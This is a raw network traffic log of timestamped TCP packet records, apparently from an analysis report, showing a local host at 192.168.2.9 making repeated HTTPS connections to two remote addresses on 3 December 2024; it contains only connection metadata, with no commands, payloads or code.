Dec 3, 2024 15:32:41.240735054 CET	49804	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:41.240742922 CET	443	49804	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:41.685703039 CET	443	49804	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:41.685782909 CET	443	49804	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:41.685914040 CET	49804	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:41.686240911 CET	49804	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:41.686266899 CET	443	49804	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:41.686279058 CET	49804	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:41.686285973 CET	443	49804	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:41.690447092 CET	49810	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:41.690496922 CET	443	49810	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:41.690603971 CET	49810	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:41.690900087 CET	49810	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:41.690917015 CET	443	49810	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:42.190943003 CET	443	49805	101.99.88.62	192.168.2.9
Dec 3, 2024 15:32:42.191412926 CET	49805	443	192.168.2.9	101.99.88.62
Dec 3, 2024 15:32:42.191440105 CET	443	49805	101.99.88.62	192.168.2.9
Dec 3, 2024 15:32:42.192506075 CET	443	49805	101.99.88.62	192.168.2.9
Dec 3, 2024 15:32:42.192585945 CET	49805	443	192.168.2.9	101.99.88.62
Dec 3, 2024 15:32:42.192961931 CET	49805	443	192.168.2.9	101.99.88.62
Dec 3, 2024 15:32:42.193015099 CET	443	49805	101.99.88.62	192.168.2.9
Dec 3, 2024 15:32:42.193130016 CET	49805	443	192.168.2.9	101.99.88.62
Dec 3, 2024 15:32:42.193136930 CET	443	49805	101.99.88.62	192.168.2.9
Dec 3, 2024 15:32:42.253031015 CET	49805	443	192.168.2.9	101.99.88.62
Dec 3, 2024 15:32:42.511152983 CET	443	49806	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:42.511859894 CET	49806	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:42.511903048 CET	443	49806	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:42.512372971 CET	49806	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:42.512379885 CET	443	49806	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:42.747276068 CET	443	49807	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:42.748769045 CET	49807	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:42.748790979 CET	443	49807	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:42.749274015 CET	49807	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:42.749279976 CET	443	49807	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:42.876665115 CET	443	49808	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:42.877341986 CET	49808	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:42.877377033 CET	443	49808	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:42.877847910 CET	49808	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:42.877854109 CET	443	49808	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:42.942806005 CET	443	49809	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:42.943512917 CET	49809	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:42.943547964 CET	443	49809	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:42.944020033 CET	49809	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:42.944025993 CET	443	49809	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:42.973095894 CET	443	49806	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:42.973123074 CET	443	49806	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:42.973196030 CET	443	49806	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:42.973241091 CET	49806	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:42.973268986 CET	49806	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:42.973573923 CET	49806	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:42.973597050 CET	443	49806	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:42.973607063 CET	49806	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:42.973613024 CET	443	49806	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:42.973721981 CET	443	49805	101.99.88.62	192.168.2.9
Dec 3, 2024 15:32:42.973793030 CET	443	49805	101.99.88.62	192.168.2.9
Dec 3, 2024 15:32:42.973839045 CET	49805	443	192.168.2.9	101.99.88.62
Dec 3, 2024 15:32:42.975693941 CET	49805	443	192.168.2.9	101.99.88.62
Dec 3, 2024 15:32:42.975714922 CET	443	49805	101.99.88.62	192.168.2.9
Dec 3, 2024 15:32:42.978110075 CET	49811	443	192.168.2.9	101.99.88.62
Dec 3, 2024 15:32:42.978135109 CET	443	49811	101.99.88.62	192.168.2.9
Dec 3, 2024 15:32:42.978204966 CET	49811	443	192.168.2.9	101.99.88.62
Dec 3, 2024 15:32:42.978444099 CET	49811	443	192.168.2.9	101.99.88.62
Dec 3, 2024 15:32:42.978454113 CET	443	49811	101.99.88.62	192.168.2.9
Dec 3, 2024 15:32:42.981245041 CET	49812	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:42.981276035 CET	443	49812	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:42.981343985 CET	49812	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:42.981589079 CET	49812	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:42.981602907 CET	443	49812	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:43.185956955 CET	443	49807	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:43.186039925 CET	443	49807	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:43.186237097 CET	49807	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:43.186424971 CET	49807	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:43.186448097 CET	443	49807	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:43.186461926 CET	49807	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:43.186466932 CET	443	49807	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:43.190378904 CET	49813	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:43.190433979 CET	443	49813	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:43.190551043 CET	49813	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:43.190803051 CET	49813	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:43.190815926 CET	443	49813	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:43.330137014 CET	443	49808	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:43.330221891 CET	443	49808	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:43.330274105 CET	49808	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:43.331031084 CET	49808	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:43.331053019 CET	443	49808	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:43.331096888 CET	49808	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:43.331104994 CET	443	49808	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:43.335922956 CET	49814	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:43.335980892 CET	443	49814	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:43.336093903 CET	49814	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:43.336389065 CET	49814	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:43.336410046 CET	443	49814	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:43.382693052 CET	443	49809	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:43.382740021 CET	443	49809	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:43.382785082 CET	49809	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:43.382808924 CET	443	49809	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:43.383150101 CET	49809	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:43.383162975 CET	443	49809	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:43.383178949 CET	49809	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:43.383383989 CET	443	49809	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:43.383424997 CET	443	49809	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:43.383465052 CET	49809	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:43.387515068 CET	49815	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:43.387537956 CET	443	49815	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:43.387597084 CET	49815	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:43.387792110 CET	49815	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:43.387808084 CET	443	49815	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:43.417052984 CET	443	49810	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:43.418327093 CET	49810	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:43.418346882 CET	443	49810	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:43.418927908 CET	49810	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:43.418934107 CET	443	49810	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:43.861114979 CET	443	49810	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:43.861133099 CET	443	49810	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:43.861218929 CET	49810	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:43.861253023 CET	443	49810	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:43.861304045 CET	49810	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:43.861586094 CET	49810	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:43.861596107 CET	443	49810	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:43.861613035 CET	49810	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:43.861759901 CET	443	49810	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:43.861788988 CET	443	49810	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:43.861824036 CET	49810	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:43.865194082 CET	49816	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:43.865228891 CET	443	49816	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:43.865326881 CET	49816	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:43.865504026 CET	49816	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:43.865511894 CET	443	49816	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:44.646667004 CET	443	49811	101.99.88.62	192.168.2.9
Dec 3, 2024 15:32:44.647018909 CET	49811	443	192.168.2.9	101.99.88.62
Dec 3, 2024 15:32:44.647051096 CET	443	49811	101.99.88.62	192.168.2.9
Dec 3, 2024 15:32:44.647417068 CET	443	49811	101.99.88.62	192.168.2.9
Dec 3, 2024 15:32:44.647794962 CET	49811	443	192.168.2.9	101.99.88.62
Dec 3, 2024 15:32:44.647864103 CET	443	49811	101.99.88.62	192.168.2.9
Dec 3, 2024 15:32:44.648080111 CET	49811	443	192.168.2.9	101.99.88.62
Dec 3, 2024 15:32:44.691340923 CET	443	49811	101.99.88.62	192.168.2.9
Dec 3, 2024 15:32:44.700413942 CET	443	49812	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:44.702879906 CET	49812	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:44.702879906 CET	49812	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:44.702954054 CET	443	49812	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:44.702990055 CET	443	49812	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:44.975369930 CET	443	49813	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:44.976003885 CET	49813	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:44.976052046 CET	443	49813	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:44.976639032 CET	49813	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:44.976656914 CET	443	49813	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:45.056487083 CET	443	49814	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:45.104115963 CET	49814	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:45.132539988 CET	49814	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:45.132558107 CET	443	49814	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:45.133132935 CET	49814	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:45.133138895 CET	443	49814	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:45.150155067 CET	443	49812	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:45.150175095 CET	443	49812	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:45.150305986 CET	49812	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:45.150324106 CET	443	49812	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:45.151216030 CET	443	49812	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:45.151292086 CET	49812	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:45.151372910 CET	49812	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:45.151395082 CET	443	49812	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:45.151412964 CET	49812	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:45.151420116 CET	443	49812	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:45.154644012 CET	49817	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:45.154690027 CET	443	49817	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:45.154762030 CET	49817	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:45.154932022 CET	49817	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:45.154941082 CET	443	49817	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:45.182856083 CET	443	49815	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:45.231662989 CET	49815	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:45.283202887 CET	49815	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:45.283220053 CET	443	49815	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:45.286562920 CET	49815	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:45.286570072 CET	443	49815	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:45.420280933 CET	443	49813	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:45.423937082 CET	443	49813	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:45.424005032 CET	49813	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:45.424051046 CET	49813	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:45.424071074 CET	443	49813	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:45.425565958 CET	443	49811	101.99.88.62	192.168.2.9
Dec 3, 2024 15:32:45.425657988 CET	443	49811	101.99.88.62	192.168.2.9
Dec 3, 2024 15:32:45.425700903 CET	49811	443	192.168.2.9	101.99.88.62
Dec 3, 2024 15:32:45.435951948 CET	49811	443	192.168.2.9	101.99.88.62
Dec 3, 2024 15:32:45.435965061 CET	443	49811	101.99.88.62	192.168.2.9
Dec 3, 2024 15:32:45.436903954 CET	49818	443	192.168.2.9	101.99.88.62
Dec 3, 2024 15:32:45.436950922 CET	443	49818	101.99.88.62	192.168.2.9
Dec 3, 2024 15:32:45.437012911 CET	49818	443	192.168.2.9	101.99.88.62
Dec 3, 2024 15:32:45.437386036 CET	49818	443	192.168.2.9	101.99.88.62
Dec 3, 2024 15:32:45.437400103 CET	443	49818	101.99.88.62	192.168.2.9
Dec 3, 2024 15:32:45.438708067 CET	49819	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:45.438750982 CET	443	49819	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:45.438807964 CET	49819	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:45.438985109 CET	49819	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:45.438996077 CET	443	49819	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:45.495938063 CET	443	49814	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:45.496014118 CET	443	49814	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:45.496072054 CET	49814	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:45.497369051 CET	49814	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:45.497397900 CET	443	49814	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:45.497414112 CET	49814	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:45.497420073 CET	443	49814	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:45.501805067 CET	49820	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:45.501862049 CET	443	49820	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:45.501934052 CET	49820	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:45.502154112 CET	49820	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:45.502171040 CET	443	49820	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:45.626410961 CET	443	49815	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:45.630291939 CET	443	49815	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:45.630383968 CET	49815	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:45.630533934 CET	49815	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:45.630549908 CET	443	49815	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:45.630565882 CET	49815	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:45.630573034 CET	443	49815	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:45.635190010 CET	49821	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:45.635202885 CET	443	49821	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:45.635303020 CET	49821	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:45.636518955 CET	49821	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:45.636526108 CET	443	49821	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:45.649728060 CET	443	49816	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:45.650398970 CET	49816	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:45.650413990 CET	443	49816	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:45.650932074 CET	49816	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:45.650957108 CET	443	49816	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:46.094489098 CET	443	49816	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:46.094579935 CET	443	49816	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:46.094655991 CET	49816	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:46.094950914 CET	49816	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:46.094950914 CET	49816	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:46.094966888 CET	443	49816	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:46.094975948 CET	443	49816	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:46.098623037 CET	49822	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:46.098675013 CET	443	49822	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:46.098757029 CET	49822	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:46.098944902 CET	49822	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:46.098962069 CET	443	49822	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:46.939361095 CET	443	49817	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:46.940166950 CET	49817	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:46.940192938 CET	443	49817	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:46.940726042 CET	49817	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:46.940730095 CET	443	49817	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:47.287884951 CET	443	49819	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:47.288724899 CET	49819	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:47.288747072 CET	443	49819	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:47.289275885 CET	49819	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:47.289280891 CET	443	49819	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:47.290848970 CET	443	49820	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:47.291208982 CET	49820	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:47.291254044 CET	443	49820	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:47.292124033 CET	49820	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:47.292130947 CET	443	49820	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:47.388256073 CET	443	49817	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:47.388828993 CET	443	49817	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:47.388909101 CET	49817	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:47.389090061 CET	49817	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:47.389090061 CET	49817	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:47.389111042 CET	443	49817	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:47.389120102 CET	443	49817	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:47.392241001 CET	49823	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:47.392282963 CET	443	49823	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:47.392354965 CET	49823	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:47.392523050 CET	49823	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:47.392534018 CET	443	49823	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:47.412472963 CET	443	49818	101.99.88.62	192.168.2.9
Dec 3, 2024 15:32:47.412842989 CET	49818	443	192.168.2.9	101.99.88.62
Dec 3, 2024 15:32:47.412858009 CET	443	49818	101.99.88.62	192.168.2.9
Dec 3, 2024 15:32:47.414186001 CET	443	49818	101.99.88.62	192.168.2.9
Dec 3, 2024 15:32:47.414567947 CET	49818	443	192.168.2.9	101.99.88.62
Dec 3, 2024 15:32:47.414840937 CET	49818	443	192.168.2.9	101.99.88.62
Dec 3, 2024 15:32:47.414848089 CET	443	49818	101.99.88.62	192.168.2.9
Dec 3, 2024 15:32:47.414921999 CET	443	49818	101.99.88.62	192.168.2.9
Dec 3, 2024 15:32:47.465204000 CET	49818	443	192.168.2.9	101.99.88.62
Dec 3, 2024 15:32:47.484323025 CET	443	49821	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:47.484993935 CET	49821	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:47.485030890 CET	443	49821	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:47.485502005 CET	49821	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:47.485507011 CET	443	49821	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:47.736418009 CET	443	49820	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:47.739514112 CET	443	49820	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:47.739620924 CET	49820	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:47.744749069 CET	443	49819	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:47.744826078 CET	443	49819	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:47.744918108 CET	49819	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:47.821088076 CET	49820	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:47.821116924 CET	443	49820	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:47.821131945 CET	49820	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:47.821139097 CET	443	49820	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:47.834748030 CET	49819	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:47.834777117 CET	443	49819	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:47.834795952 CET	49819	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:47.834801912 CET	443	49819	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:47.872637033 CET	49825	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:47.872683048 CET	443	49825	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:47.872721910 CET	49824	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:47.872769117 CET	49825	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:47.872790098 CET	443	49824	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:47.872838020 CET	49824	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:47.872976065 CET	49825	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:47.872989893 CET	443	49825	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:47.873029947 CET	49824	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:47.873047113 CET	443	49824	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:47.929187059 CET	443	49822	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:47.930268049 CET	49822	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:47.930303097 CET	443	49822	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:47.930808067 CET	49822	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:47.930813074 CET	443	49822	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:47.938461065 CET	443	49821	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:47.938527107 CET	443	49821	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:47.938724995 CET	49821	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:47.939075947 CET	49821	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:47.939095020 CET	443	49821	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:47.939105988 CET	49821	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:47.939111948 CET	443	49821	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:47.942704916 CET	49826	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:47.942734003 CET	443	49826	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:47.942838907 CET	49826	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:47.943065882 CET	49826	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:47.943079948 CET	443	49826	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:48.377384901 CET	443	49822	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:48.380917072 CET	443	49822	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:48.380978107 CET	49822	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:48.381050110 CET	49822	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:48.381073952 CET	443	49822	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:48.381087065 CET	49822	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:48.381093025 CET	443	49822	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:48.385006905 CET	49827	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:48.385040045 CET	443	49827	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:48.385097027 CET	49827	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:48.385274887 CET	49827	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:48.385288954 CET	443	49827	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:48.584830999 CET	443	49818	101.99.88.62	192.168.2.9
Dec 3, 2024 15:32:48.584860086 CET	443	49818	101.99.88.62	192.168.2.9
Dec 3, 2024 15:32:48.584868908 CET	443	49818	101.99.88.62	192.168.2.9
Dec 3, 2024 15:32:48.584939003 CET	49818	443	192.168.2.9	101.99.88.62
Dec 3, 2024 15:32:48.584971905 CET	443	49818	101.99.88.62	192.168.2.9
Dec 3, 2024 15:32:48.625866890 CET	49818	443	192.168.2.9	101.99.88.62
Dec 3, 2024 15:32:48.625910997 CET	443	49818	101.99.88.62	192.168.2.9
Dec 3, 2024 15:32:48.672210932 CET	49818	443	192.168.2.9	101.99.88.62
Dec 3, 2024 15:32:48.809974909 CET	443	49818	101.99.88.62	192.168.2.9
Dec 3, 2024 15:32:48.809990883 CET	443	49818	101.99.88.62	192.168.2.9
Dec 3, 2024 15:32:48.810034037 CET	443	49818	101.99.88.62	192.168.2.9
Dec 3, 2024 15:32:48.810137987 CET	49818	443	192.168.2.9	101.99.88.62
